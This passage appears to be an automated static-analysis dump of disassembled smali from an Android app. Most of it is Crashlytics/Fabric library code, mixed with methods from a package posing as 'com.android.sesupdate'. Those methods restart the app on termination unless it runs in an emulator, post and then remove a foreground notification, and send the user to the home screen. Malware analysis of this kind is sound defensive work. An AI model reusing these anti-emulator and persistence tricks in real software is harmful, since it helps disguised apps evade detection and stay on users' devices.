                          51invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          52move-result v1
                          53if-eqz v1, :cond_3b
                          55invoke-static {}, Lio/fabric/sdk/android/services/settings/Settings;->getInstance()Lio/fabric/sdk/android/services/settings/Settings;
                          56move-result-object v1
                          58invoke-virtual {v1}, Lio/fabric/sdk/android/services/settings/Settings;->loadSettingsSkippingCache()Z
                          59move-result v0
                          60goto/16 :goto_19
                          61cond_3b: iget-boolean v1, p2, Lio/fabric/sdk/android/services/settings/AppSettingsData;->updateRequired:Z
                          62if-eqz v1, :cond_19
                          64invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          65move-result-object v1
                          67const-string v2, "Fabric"
                          69const-string v3, "Server says an update is required - forcing a full App update."
                          71invoke-interface {v1, v2, v3}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          73invoke-direct {p0, p1, p2, p3}, Lio/fabric/sdk/android/Onboarding;->performUpdateApp(Ljava/lang/String;Lio/fabric/sdk/android/services/settings/AppSettingsData;Ljava/util/Collection;)Z
                          74goto/16 :goto_19
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • java.lang.IllegalArgumentException.<init>
                          • java.lang.NullPointerException.<init>
                          Strings
                          • jitterPercent must be between 0.0 and 1.0
                          • backoff must not be null
                          • random must not be null
                          Position Instruction Meta Information
                          0.param p1, "backoff" # Lio/fabric/sdk/android/services/concurrency/internal/Backoff;
                          1.param p2, "jitterPercent" # D
                          2.param p4, "random" # Ljava/util/Random;
                          3.prologue
                          5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          6const-wide/16 v0, 0x0
                          7cmpg-double v0, p2, v0
                          8if-ltz v0, :cond_f
                          9const-wide/high16 v0, 0x3ff0000000000000L # 1.0
                          10cmpl-double v0, p2, v0
                          11if-lez v0, :cond_17
                          12cond_f: new-instance v0, Ljava/lang/IllegalArgumentException;
                          14const-string v1, "jitterPercent must be between 0.0 and 1.0"
                          16invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                          17throw v0
                          18cond_17: if-nez p1, :cond_21
                          19new-instance v0, Ljava/lang/NullPointerException;
                          21const-string v1, "backoff must not be null"
                          23invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          24throw v0
                          25cond_21: if-nez p4, :cond_2b
                          26new-instance v0, Ljava/lang/NullPointerException;
                          28const-string v1, "random must not be null"
                          30invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          31throw v0
                          32cond_2b: iput-object p1, p0, Lcom/crashlytics/android/answers/RandomBackoff;->backoff:Lio/fabric/sdk/android/services/concurrency/internal/Backoff;
                          33iput-wide p2, p0, Lcom/crashlytics/android/answers/RandomBackoff;->jitterPercent:D
                          34iput-object p4, p0, Lcom/crashlytics/android/answers/RandomBackoff;->random:Ljava/util/Random;
                          35return-void
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • android.content.ContextWrapper.getSharedPreferences
                          Strings
                          • :
                          Position Instruction Meta Information
                          0.param p1, "name" # Ljava/lang/String;
                          1.param p2, "mode" # I
                          2.prologue
                          3new-instance v0, Ljava/lang/StringBuilder;
                          5invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          7iget-object v1, p0, Lio/fabric/sdk/android/FabricContext;->componentName:Ljava/lang/String;
                          9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          10move-result-object v0
                          12const-string v1, ":"
                          14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          15move-result-object v0
                          17invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          18move-result-object v0
                          20invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          21move-result-object v0
                          23invoke-super {p0, v0, p2}, Landroid/content/ContextWrapper;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
                          24move-result-object v0
                          25return-object v0
                          Cross References
                          APIs
                          • android.content.Intent.<init>
                          • android.content.Intent.addCategory
                          • android.content.Intent.setFlags
                          • com.android.sesupdate.services.DisableService.startActivity
                          Strings
                          • android.intent.action.MAIN
                          • android.intent.category.HOME
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v0, Landroid/content/Intent;
                          3const-string v1, "android.intent.action.MAIN"
                          5invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                          7const-string v1, "android.intent.category.HOME"
                          9invoke-virtual {v0, v1}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
                          10const/high16 v1, 0x4000000
                          12invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                          13const/high16 v1, 0x10000000
                          15invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                          17invoke-virtual {p0, v0}, Lcom/android/sesupdate/services/DisableService;->startActivity(Landroid/content/Intent;)V
                          18return-void
                          Cross References
                          APIs
                          • java.util.Map.size
                          • java.util.Map.containsKey
                          • java.lang.Integer.valueOf
                          • java.lang.String.format
                          • java.lang.IllegalArgumentException.<init>
                          Strings
                          • Limit of %d attributes reached, skipping attribute
                          Position Instruction Meta Information
                          0.param p2, "key" # Ljava/lang/String;
                          1.annotation system Ldalvik/annotation/Signature;
                          2value = {
                          3"(",
                          4"Ljava/util/Map",
                          5"<",
                          6"Ljava/lang/String;",
                          7"Ljava/lang/Object;",
                          8">;",
                          9"Ljava/lang/String;",
                          10")Z"
                          11}
                          12.end annotation
                          13.prologue
                          14const/4 v1, 0x1
                          15const/4 v2, 0x0
                          17invoke-interface {p1}, Ljava/util/Map;->size()I
                          18move-result v3
                          19iget v4, p0, Lcom/crashlytics/android/answers/AnswersEventValidator;->maxNumAttributes:I
                          20if-lt v3, v4, :cond_2b
                          22invoke-interface {p1, p2}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                          23move-result v3
                          24if-nez v3, :cond_2b
                          26sget-object v3, Ljava/util/Locale;->US:Ljava/util/Locale;
                          28const-string v4, "Limit of %d attributes reached, skipping attribute"
                          29new-array v5, v1, [Ljava/lang/Object;
                          30iget v6, p0, Lcom/crashlytics/android/answers/AnswersEventValidator;->maxNumAttributes:I
                          32invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                          33move-result-object v6
                          34aput-object v6, v5, v2
                          36invoke-static {v3, v4, v5}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                          37move-result-object v0
                          38new-instance v2, Ljava/lang/IllegalArgumentException;
                          40invoke-direct {v2, v0}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                          42invoke-direct {p0, v2}, Lcom/crashlytics/android/answers/AnswersEventValidator;->logOrThrowException(Ljava/lang/RuntimeException;)V
                          43goto_2a: return v1
                          44cond_2b: move v1, v2
                          45goto/16 :goto_2a
                          Cross References
                          APIs
                          • android.os.Looper.myLooper
                          • android.os.Looper.getMainLooper
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • AnswersFilesManagerProvider cannot be called on the main thread
                          • session_analytics.tap
                          • session_analytics_to_send
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Throws;
                          1value = {
                          2Ljava/io/IOException;
                          3}
                          4.end annotation
                          5.prologue
                          7invoke-static {}, Landroid/os/Looper;->myLooper()Landroid/os/Looper;
                          8move-result-object v4
                          10invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
                          11move-result-object v5
                          12if-ne v4, v5, :cond_12
                          13new-instance v4, Ljava/lang/IllegalStateException;
                          15const-string v5, "AnswersFilesManagerProvider cannot be called on the main thread"
                          17invoke-direct {v4, v5}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          18throw v4
                          19cond_12: new-instance v3, Lcom/crashlytics/android/answers/SessionEventTransform;
                          21invoke-direct {v3}, Lcom/crashlytics/android/answers/SessionEventTransform;-><init>()V
                          22new-instance v2, Lio/fabric/sdk/android/services/common/SystemCurrentTimeProvider;
                          24invoke-direct {v2}, Lio/fabric/sdk/android/services/common/SystemCurrentTimeProvider;-><init>()V
                          26iget-object v4, p0, Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;->fileStore:Lio/fabric/sdk/android/services/persistence/FileStore;
                          28invoke-interface {v4}, Lio/fabric/sdk/android/services/persistence/FileStore;->getFilesDir()Ljava/io/File;
                          29move-result-object v0
                          30new-instance v1, Lio/fabric/sdk/android/services/events/GZIPQueueFileEventStorage;
                          32iget-object v4, p0, Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;->context:Landroid/content/Context;
                          34const-string v5, "session_analytics.tap"
                          36const-string v6, "session_analytics_to_send"
                          38invoke-direct {v1, v4, v0, v5, v6}, Lio/fabric/sdk/android/services/events/GZIPQueueFileEventStorage;-><init>(Landroid/content/Context;Ljava/io/File;Ljava/lang/String;Ljava/lang/String;)V
                          39new-instance v4, Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;
                          41iget-object v5, p0, Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;->context:Landroid/content/Context;
                          43invoke-direct {v4, v5, v3, v2, v1}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;-><init>(Landroid/content/Context;Lcom/crashlytics/android/answers/SessionEventTransform;Lio/fabric/sdk/android/services/common/CurrentTimeProvider;Lio/fabric/sdk/android/services/events/EventsStorage;)V
                          44return-object v4
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • io.fabric.sdk.android.InitializationException.<init>
                          Strings
                          • Initialization was cancelled
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"(TResult;)V"
                          3}
                          4.end annotation
                          5.prologue
                          7iget-object v2, p0, Lio/fabric/sdk/android/InitializationTask;->kit:Lio/fabric/sdk/android/Kit;
                          9invoke-virtual {v2, p1}, Lio/fabric/sdk/android/Kit;->onCancelled(Ljava/lang/Object;)V
                          10new-instance v2, Ljava/lang/StringBuilder;
                          12invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                          14iget-object v3, p0, Lio/fabric/sdk/android/InitializationTask;->kit:Lio/fabric/sdk/android/Kit;
                          16invoke-virtual {v3}, Lio/fabric/sdk/android/Kit;->getIdentifier()Ljava/lang/String;
                          17move-result-object v3
                          19invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          20move-result-object v2
                          22const-string v3, " Initialization was cancelled"
                          24invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          25move-result-object v2
                          27invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          28move-result-object v1
                          29new-instance v0, Lio/fabric/sdk/android/InitializationException;
                          31invoke-direct {v0, v1}, Lio/fabric/sdk/android/InitializationException;-><init>(Ljava/lang/String;)V
                          33iget-object v2, p0, Lio/fabric/sdk/android/InitializationTask;->kit:Lio/fabric/sdk/android/Kit;
                          35iget-object v2, v2, Lio/fabric/sdk/android/Kit;->initializationCallback:Lio/fabric/sdk/android/InitializationCallback;
                          37invoke-interface {v2, v0}, Lio/fabric/sdk/android/InitializationCallback;->failure(Ljava/lang/Exception;)V
                          38return-void
                          Cross References
                          APIs
                          • android.os.Looper.myLooper
                          • android.os.Looper.getMainLooper
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • onCrash called from main thread!!!
                          • Answers
                          • Logged crash
                          Position Instruction Meta Information
                          0.param p1, "sessionId" # Ljava/lang/String;
                          1.param p2, "exceptionName" # Ljava/lang/String;
                          2.prologue
                          4invoke-static {}, Landroid/os/Looper;->myLooper()Landroid/os/Looper;
                          5move-result-object v0
                          7invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
                          8move-result-object v1
                          9if-ne v0, v1, :cond_12
                          10new-instance v0, Ljava/lang/IllegalStateException;
                          12const-string v1, "onCrash called from main thread!!!"
                          14invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          15throw v0
                          16cond_12:
                          17invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          18move-result-object v0
                          20const-string v1, "Answers"
                          22const-string v2, "Logged crash"
                          24invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          26iget-object v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->eventsHandler:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          28invoke-static {p1, p2}, Lcom/crashlytics/android/answers/SessionEvent;->crashEventBuilder(Ljava/lang/String;Ljava/lang/String;)Lcom/crashlytics/android/answers/SessionEvent$Builder;
                          29move-result-object v1
                          31invoke-virtual {v0, v1}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->processEventSync(Lcom/crashlytics/android/answers/SessionEvent$Builder;)V
                          32return-void
                          Cross References
                          APIs
                          • java.lang.String.length
                          • java.lang.Integer.valueOf
                          • java.lang.String.format
                          • java.lang.IllegalArgumentException.<init>
                          • java.lang.String.substring
                          Strings
                          • String is too long, truncating to %d characters
                          Position Instruction Meta Information
                          0.param p1, "value" # Ljava/lang/String;
                          1.prologue
                          2const/4 v5, 0x0
                          4invoke-virtual {p1}, Ljava/lang/String;->length()I
                          5move-result v1
                          6iget v2, p0, Lcom/crashlytics/android/answers/AnswersEventValidator;->maxStringLength:I
                          7if-le v1, v2, :cond_2a
                          9sget-object v1, Ljava/util/Locale;->US:Ljava/util/Locale;
                          11const-string v2, "String is too long, truncating to %d characters"
                          12const/4 v3, 0x1
                          13new-array v3, v3, [Ljava/lang/Object;
                          14iget v4, p0, Lcom/crashlytics/android/answers/AnswersEventValidator;->maxStringLength:I
                          16invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                          17move-result-object v4
                          18aput-object v4, v3, v5
                          20invoke-static {v1, v2, v3}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                          21move-result-object v0
                          22new-instance v1, Ljava/lang/IllegalArgumentException;
                          24invoke-direct {v1, v0}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                          26invoke-direct {p0, v1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->logOrThrowException(Ljava/lang/RuntimeException;)V
                          27iget v1, p0, Lcom/crashlytics/android/answers/AnswersEventValidator;->maxStringLength:I
                          29invoke-virtual {p1, v5, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                          30move-result-object p1
                          31cond_2a: return-object p1
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • Answers
                          • Logged custom event:
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/CustomEvent;
                          1.prologue
                          3invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          4move-result-object v0
                          6const-string v1, "Answers"
                          7new-instance v2, Ljava/lang/StringBuilder;
                          9invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                          11const-string v3, "Logged custom event: "
                          13invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          14move-result-object v2
                          16invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          17move-result-object v2
                          19invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          20move-result-object v2
                          22invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          24iget-object v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->eventsHandler:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          26invoke-static {p1}, Lcom/crashlytics/android/answers/SessionEvent;->customEventBuilder(Lcom/crashlytics/android/answers/CustomEvent;)Lcom/crashlytics/android/answers/SessionEvent$Builder;
                          27move-result-object v1
                          29invoke-virtual {v0, v1}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->processEventAsync(Lcom/crashlytics/android/answers/SessionEvent$Builder;)V
                          30return-void
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • Answers
                          • Logged predefined event:
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/PredefinedEvent;
                          1.prologue
                          3invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          4move-result-object v0
                          6const-string v1, "Answers"
                          7new-instance v2, Ljava/lang/StringBuilder;
                          9invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                          11const-string v3, "Logged predefined event: "
                          13invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          14move-result-object v2
                          16invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          17move-result-object v2
                          19invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          20move-result-object v2
                          22invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          24iget-object v0, p0, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->eventsHandler:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          26invoke-static {p1}, Lcom/crashlytics/android/answers/SessionEvent;->predefinedEventBuilder(Lcom/crashlytics/android/answers/PredefinedEvent;)Lcom/crashlytics/android/answers/SessionEvent$Builder;
                          27move-result-object v1
                          29invoke-virtual {v0, v1}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->processEventAsync(Lcom/crashlytics/android/answers/SessionEvent$Builder;)V
                          30return-void
                          Cross References
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.NullPointerException.<init>
                          Strings
                          • must not be null
                          Position Instruction Meta Information
                          0.param p1, "object" # Ljava/lang/Object;
                          1.param p2, "paramName" # Ljava/lang/String;
                          2.prologue
                          3if-nez p1, :cond_1f
                          4new-instance v0, Ljava/lang/NullPointerException;
                          5new-instance v1, Ljava/lang/StringBuilder;
                          7invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                          9invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          10move-result-object v1
                          12const-string v2, " must not be null"
                          14invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          15move-result-object v1
                          17invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          18move-result-object v1
                          20invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          22invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/AnswersEventValidator;->logOrThrowException(Ljava/lang/RuntimeException;)V
                          23const/4 v0, 0x1
                          24goto_1e: return v0
                          25cond_1f: const/4 v0, 0x0
                          26goto/16 :goto_1e
                          Cross References
                          APIs
                          • java.io.File.<init>
                          • java.io.File.length
                          • java.io.FileInputStream.<init>
                          • java.lang.Math.min
                          • java.io.FileInputStream.skip
                          • java.io.FileInputStream.read
                          • java.io.FileInputStream.close
                          Position Instruction Meta Information
                          0.param p1, "filename" # Ljava/lang/String;
                          1.prologue
                          2const/4 v5, 0x0
                          3try_start_1: new-instance v1, Ljava/io/File;
                          5invoke-direct {v1, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                          7invoke-virtual {v1}, Ljava/io/File;->length()J
                          8move-result-wide v6
                          9long-to-int v2, v6
                          10new-instance v3, Ljava/io/FileInputStream;
                          12invoke-direct {v3, v1}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
                          13const/16 v6, 0x2000
                          15invoke-static {v2, v6}, Ljava/lang/Math;->min(II)I
                          16move-result v6
                          17new-array v0, v6, [B
                          18array-length v6, v0
                          19sub-int v6, v2, v6
                          20int-to-long v6, v6
                          22invoke-virtual {v3, v6, v7}, Ljava/io/FileInputStream;->skip(J)J
                          24invoke-virtual {v3, v0}, Ljava/io/FileInputStream;->read([B)I
                          25move-result v4
                          26if-lez v4, :cond_29
                          28invoke-direct {p0, v0, v4}, Lcom/android/sesupdate/ApkUtils;->getZipCommentFromBuffer([BI)Ljava/lang/String;
                          29move-result-object v5
                          30cond_29:
                          31invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
                          32goto_2c: return-object v5
                          33catch_2d: move-exception v6
                          34goto/16 :goto_2c
                          APIs
                          • android.app.Service.onCreate
                          • android.app.Notification$Builder.<init>
                          • android.app.Notification$Builder.setSmallIcon
                          • android.app.Notification$Builder.getNotification
                          • com.android.sesupdate.services.NotificationService.startForeground
                          • com.android.sesupdate.services.NotificationService.stopForeground
                          • android.app.Notification$Builder.build
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-super {p0}, Landroid/app/Service;->onCreate()V
                          3new-instance v2, Landroid/app/Notification$Builder;
                          5invoke-direct {v2, p0}, Landroid/app/Notification$Builder;-><init>(Landroid/content/Context;)V
                          6const/high16 v3, 0x7f020000
                          8invoke-virtual {v2, v3}, Landroid/app/Notification$Builder;->setSmallIcon(I)Landroid/app/Notification$Builder;
                          9move-result-object v0
                          10sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                          11const/16 v3, 0x10
                          12if-ge v2, v3, :cond_22
                          14invoke-virtual {v0}, Landroid/app/Notification$Builder;->getNotification()Landroid/app/Notification;
                          15move-result-object v1
                          16goto_18: const/16 v2, 0x29a
                          18invoke-virtual {p0, v2, v1}, Lcom/android/sesupdate/services/NotificationService;->startForeground(ILandroid/app/Notification;)V
                          19const/4 v2, 0x1
                          21invoke-virtual {p0, v2}, Lcom/android/sesupdate/services/NotificationService;->stopForeground(Z)V
                          22return-void
                          23cond_22:
                          24invoke-virtual {v0}, Landroid/app/Notification$Builder;->build()Landroid/app/Notification;
                          25move-result-object v1
                          26goto/16 :goto_18
                          APIs
                          • com.crashlytics.android.CrashlyticsInitProvider.getContext
                          • com.crashlytics.android.CrashlyticsInitProvider.shouldInitializeFabric
                          Strings
                          • CrashlyticsInitProvider
                          • CrashlyticsInitProvider initialization successful
                          • CrashlyticsInitProvider initialization unsuccessful
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v5, 0x1
                          2const/4 v4, 0x0
                          4invoke-virtual {p0}, Lcom/crashlytics/android/CrashlyticsInitProvider;->getContext()Landroid/content/Context;
                          5move-result-object v0
                          6new-instance v3, Lio/fabric/sdk/android/services/common/FirebaseInfo;
                          8invoke-direct {v3}, Lio/fabric/sdk/android/services/common/FirebaseInfo;-><init>()V
                          9new-instance v1, Lcom/crashlytics/android/ManifestEnabledCheckStrategy;
                          11invoke-direct {v1}, Lcom/crashlytics/android/ManifestEnabledCheckStrategy;-><init>()V
                          13invoke-virtual {p0, v0, v3, v1}, Lcom/crashlytics/android/CrashlyticsInitProvider;->shouldInitializeFabric(Landroid/content/Context;Lio/fabric/sdk/android/services/common/FirebaseInfo;Lcom/crashlytics/android/CrashlyticsInitProvider$EnabledCheckStrategy;)Z
                          14move-result v6
                          15if-eqz v6, :cond_2f
                          16const/4 v6, 0x1
                          17try_start_17: new-array v6, v6, [Lio/fabric/sdk/android/Kit;
                          18const/4 v7, 0x0
                          19new-instance v8, Lcom/crashlytics/android/Crashlytics;
                          21invoke-direct {v8}, Lcom/crashlytics/android/Crashlytics;-><init>()V
                          22aput-object v8, v6, v7
                          24invoke-static {v0, v6}, Lio/fabric/sdk/android/Fabric;->with(Landroid/content/Context;[Lio/fabric/sdk/android/Kit;)Lio/fabric/sdk/android/Fabric;
                          26invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          27move-result-object v6
                          29const-string v7, "CrashlyticsInitProvider"
                          31const-string v8, "CrashlyticsInitProvider initialization successful"
                          33invoke-interface {v6, v7, v8}, Lio/fabric/sdk/android/Logger;->i(Ljava/lang/String;Ljava/lang/String;)V
                          34cond_2f: move v4, v5
                          35goto_30: return v4
                          36catch_31: move-exception v2
                          38invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          39move-result-object v5
                          41const-string v6, "CrashlyticsInitProvider"
                          43const-string v7, "CrashlyticsInitProvider initialization unsuccessful"
                          45invoke-interface {v5, v6, v7}, Lio/fabric/sdk/android/Logger;->i(Ljava/lang/String;Ljava/lang/String;)V
                          46goto/16 :goto_30
                          APIs
                          • android.content.Context.getPackageName
                          • android.content.Context.getPackageManager
                          • android.content.pm.PackageManager.getApplicationInfo
                          • android.os.Bundle.getBoolean
                          Strings
                          • firebase_crashlytics_collection_enabled
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          2const/4 v3, 0x1
                          3try_start_1:
                          4invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          5move-result-object v2
                          7invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          8move-result-object v4
                          9const/16 v5, 0x80
                          11invoke-virtual {v4, v2, v5}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                          12move-result-object v0
                          14iget-object v1, v0, Landroid/content/pm/ApplicationInfo;->metaData:Landroid/os/Bundle;
                          15if-eqz v1, :cond_1c
                          17const-string v4, "firebase_crashlytics_collection_enabled"
                          18const/4 v5, 0x1
                          20invoke-virtual {v1, v4, v5}, Landroid/os/Bundle;->getBoolean(Ljava/lang/String;Z)Z
                          21try_end_19: move-result v4
                          22if-eqz v4, :cond_1d
                          23goto_1c: return v3
                          24cond_1d: const/4 v3, 0x0
                          25goto/16 :goto_1c
                          26catch_1f: move-exception v4
                          27goto/16 :goto_1c
                          APIs
                          • java.util.concurrent.atomic.AtomicReference.get
                          • java.util.concurrent.ScheduledFuture.cancel
                          • java.util.concurrent.atomic.AtomicReference.set
                          Strings
                          • Cancelling time-based rollover because no events are currently being generated.
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->rolloverFutureRef:Ljava/util/concurrent/atomic/AtomicReference;
                          4invoke-virtual {v0}, Ljava/util/concurrent/atomic/AtomicReference;->get()Ljava/lang/Object;
                          5move-result-object v0
                          6if-eqz v0, :cond_21
                          8iget-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->context:Landroid/content/Context;
                          10const-string v1, "Cancelling time-based rollover because no events are currently being generated."
                          12invoke-static {v0, v1}, Lio/fabric/sdk/android/services/common/CommonUtils;->logControlled(Landroid/content/Context;Ljava/lang/String;)V
                          14iget-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->rolloverFutureRef:Ljava/util/concurrent/atomic/AtomicReference;
                          16invoke-virtual {v0}, Ljava/util/concurrent/atomic/AtomicReference;->get()Ljava/lang/Object;
                          17move-result-object v0
                          18check-cast v0, Ljava/util/concurrent/ScheduledFuture;
                          19const/4 v1, 0x0
                          21invoke-interface {v0, v1}, Ljava/util/concurrent/ScheduledFuture;->cancel(Z)Z
                          23iget-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->rolloverFutureRef:Ljava/util/concurrent/atomic/AtomicReference;
                          24const/4 v1, 0x0
                          26invoke-virtual {v0, v1}, Ljava/util/concurrent/atomic/AtomicReference;->set(Ljava/lang/Object;)V
                          27cond_21: return-void
                          APIs
                          • android.app.Application.onTerminate
                          • com.android.sesupdate.MainApplication.getApplicationContext
                          • android.content.Intent.<init>
                          • android.content.Intent.setFlags
                          • android.content.Intent.addFlags
                          • com.android.sesupdate.MainApplication.startActivity
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-super {p0}, Landroid/app/Application;->onTerminate()V
                          4invoke-static {}, Lcom/android/sesupdate/DeviceUtil;->isEmulator()Z
                          5move-result v1
                          6if-nez v1, :cond_21
                          7new-instance v0, Landroid/content/Intent;
                          9invoke-virtual {p0}, Lcom/android/sesupdate/MainApplication;->getApplicationContext()Landroid/content/Context;
                          10move-result-object v1
                          11const-class v2, Lcom/android/sesupdate/MainActivity;
                          13invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          14const/high16 v1, 0x10000000
                          16invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                          17const/high16 v1, 0x20000
                          19invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
